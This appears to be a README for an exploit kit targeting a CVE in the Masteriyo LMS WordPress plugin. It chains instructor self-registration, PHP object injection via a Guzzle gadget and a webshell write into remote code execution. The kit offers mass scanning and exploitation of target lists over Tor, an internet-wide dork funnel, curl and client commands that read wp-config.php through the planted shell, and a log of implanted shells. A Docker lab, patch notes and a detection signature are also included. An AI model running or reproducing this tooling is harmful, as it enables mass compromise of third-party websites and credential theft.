
PoC y laboratorio Docker para CVE-2026-124990: inyección de objetos PHP no autenticada en Masteriyo LMS <= 3.5.1 que conduce a escritura de archivos y RCE, con generador de payloads y cliente webshell.
La inyección de objetos PHP no autenticada en el importador de cursos de Masteriyo LMS (parámetro file) conduce a la escritura arbitraria de archivos y a la ejecución remota de código. Verificado en laboratorio de principio a fin: uid=<UID>(www-data) desde un WordPress limpio sin credenciales.
learning-management-system <= 3.5.1 · Corregido: 3.5.2# menu (jalur utama)
python3 poc.py
# satu target
python3 poc.py -u https://target # detect saja
python3 poc.py -u https://target --exploit # sampai RCE
# massal
python3 poc.py -l targets.txt --exploit --threads 20 --delay 0.3
Menú: 1 escaneo único · 2 exploit único · 3 escaneo masivo · 4 exploit masivo · 0 salir.
Indicadores opcionales: -U/-P usa credenciales existentes (omite el autorregistro),
--proxy socks5h://127.0.0.1:9050, --timeout 60, --strict, --quiet,
--output out.
Salida: out/results.jsonl (una línea por objetivo, flush+fsync) y
out/success.txt (una línea por shell).
| etiqueta | significado |
|---|---|
[SHELL] | OUTCOME_REACHED — webshell activo, id legible |
[RCE] | ejecución verificada |
[VULN] | activación verificada, resultado aún no |
[PATCHED] | versión >= 3.5.2 (de readme.txt), antes de enviar el payload |
[BLOCKED] | endpoint rechaza (401/403/WAF) |
[SKIP] | no es objetivo / el plugin no existe |
[ASSUMED] | hay señal pero no hay evidencia de ejecución |
[ERR] | error operativo |
[masteriyo_instructor_registration]. Enviar el formulario sin el campo de contraseña → el servidor
genera la contraseña → el usuario masteriyo_instructor queda en estado ACTIVE e inicia sesión
directamente (cookie wordpress_logged_in)./wp-admin/admin-ajax.php?action=rest-nonce o el panel de control).masteriyo/v1/courses/import con JSON que contiene postmeta = serializado
GuzzleHttp\Cookie\FileCookieJar.CourseImporter::set_post_metas() → maybe_unserialize() → __destruct() →
file_put_contents() escribe PHP en wp-content/uploads/masteriyo/.?c=<base64 cmd> → uid=<UID>(www-data).Detalle completo + análisis del parche: notes/root-cause.md.
poc.py tool utama (menu + flag)
tools/masteriyo_payload.py generator payload (gadget FileCookieJar, varian s:/S:)
lab/docker-compose.yml lab rentan (WP + MySQL + Masteriyo 3.5.1) port 8280
lab/docker-compose.patched.yml kontrol negatif (3.5.2) port 8281
src/x3.5.1, src/x3.5.2 source tree untuk diff
notes/root-cause.md analisa root cause, sink coverage, kontrol negatif
CVE-2026-124990-report.md laporan
Reproducción completa desde cero — tres pasos:
cd lab
./setup/download-plugins.sh # unduh Masteriyo 3.5.1 (rentan) + 3.5.2 (patched) dari wp.org
docker compose -p m124990 -f docker-compose.yml up -d # rentan, :8280
docker compose -p m124990p -f docker-compose.patched.yml up -d # patched, :8281
./setup/provision.sh . m124990 8280 # WP install + plugin aktif + halaman registrasi
./setup/provision.sh . m124990p 8281 # idem untuk kontrol negatif
Debe ser diferente -p: ambos archivos usan el mismo nombre de servicio, sin -p compose
eliminará el contenedor del otro proyecto.
provision.sh establece los requisitos previos reales del exploit:
masteriyo_settings.general.registration.enable_instructor_registration=true,
accounts_page.display.enable_instructor_apply=true,
masteriyo_registration_is_generate_password=yes, además de las páginas
instructor-registration (shortcode [masteriyo_instructor_registration])
y account.
Prueba:
python3 poc.py -u http://127.0.0.1:8280 --exploit # -> [SHELL]
python3 poc.py -u http://127.0.0.1:8281 --exploit # -> [PATCHED]
3.5.1 (vulnerable) [SHELL] uid=<UID>(www-data) 3/3 run berturut-turut
3.5.2 (patched) [PATCHED] version 3.5.2 tidak ada file, tidak ada shell
Import di 3.5.2 tetap menjawab {"status":"completed"} — sukses import bukan bukti.
Bukti hanya: file tertulis + marker per-attempt + id terbaca.
Update ke 3.5.2+. Kalau belum bisa: matikan
general.registration.enable_instructor_registration, dan batasi registrasi instructor
ke role yang di-approve manual (jangan biarkan pendaftaran mandiri menghasilkan instructor
aktif). Deteksi: POST ke masteriyo/v1/courses/import dengan body memuat
O:31:"GuzzleHttp\Cookie\FileCookieJar".
Mengukur berapa host dari dork yang benar-benar kandidat RCE — tanpa kirim payload.
python3 tools/funnel.py # menu 1/2/3/4/0
python3 tools/funnel.py -u https://site.tld
python3 tools/funnel.py -i hosts.txt --threads 20 --json out.json
Fase: alcanzable → plugin → versión <3.5.2 → REST → página de registro+nonce
→ HIGH_HIT. Veredicto: HIGH_HIT VULN PATCHED ASSUMED PRO_ONLY NOT_FOUND BLOCKED ERR.
Dork + cifras de población: notes/fofa-dorks-and-hitrate.md.
La contraseña no se envía por la URL. El shell espera un POST con el campo p:
# manual, tanpa tool
curl -sk -c /tmp/ck -b /tmp/ck -d 'p=PASSWORD' 'URL_SHELL' # login (set cookie sesi)
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL' # identitas
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL?ls=1&d=/srv/htdocs' # daftar berkas
curl -sk -c /tmp/ck -b /tmp/ck 'URL_SHELL?read=wp-config.php' # baca berkas
# eksekusi kode PHP (base64 dari kode):
curl -sk -c /tmp/ck -b /tmp/ck "URL_SHELL?php=$(printf 'echo PHP_VERSION;' | base64 -w0)"
GET sin iniciar sesión solo responde 0xfay-auth — eso es normal, no es un shell roto.
Cliente listo para usar (sin argumentos = menú):
python3 tools/ws-client.py # menu 1-6
python3 tools/ws-client.py -u URL -p PASS # identitas
python3 tools/ws-client.py -u URL -p PASS --ls /srv/htdocs
python3 tools/ws-client.py -u URL -p PASS --read wp-config.php
python3 tools/ws-client.py -u URL -p PASS --get readme.txt # download
python3 tools/ws-client.py -u URL -p PASS --php 'echo PHP_VERSION;'
python3 tools/ws-client.py -u URL -p PASS # shell interaktif
La URL + contraseña final se guardan en work/SHELL-FINAL.txt; el menú las lee
automáticamente. Para cambiar el objetivo, introdúcelo manualmente cuando se solicite.
Nota importante en este objetivo: el sandbox bloquea fork, por lo que los comandos del SO están vacíos.
Usa --php (eval PHP) o --ls/--read, no cmd/system.
python3 poc.py --cmd 'echo PHP_VERSION;' # pakai shell tersimpan
python3 poc.py --shell URL --shell-pass PASS # identitas
python3 poc.py --shell URL --shell-pass PASS --cmd '<php>' # satu perintah
python3 poc.py # menu -> 5 = shell console
El menú de opción 5 abre la consola: seleccione la URL (o Enter para usar la
guardada), luego escriba código PHP directamente, !ls <dir>, !read <berkas>, :quit.
Cada webshell que se implanta con éxito se registra en work/SHELLS.txt
(columnas TAB: URL, PASSWORD, HOST, UID):
Descubre las herramientas más usadas por nuestra comunidad.
Sin datos de popularidad aún.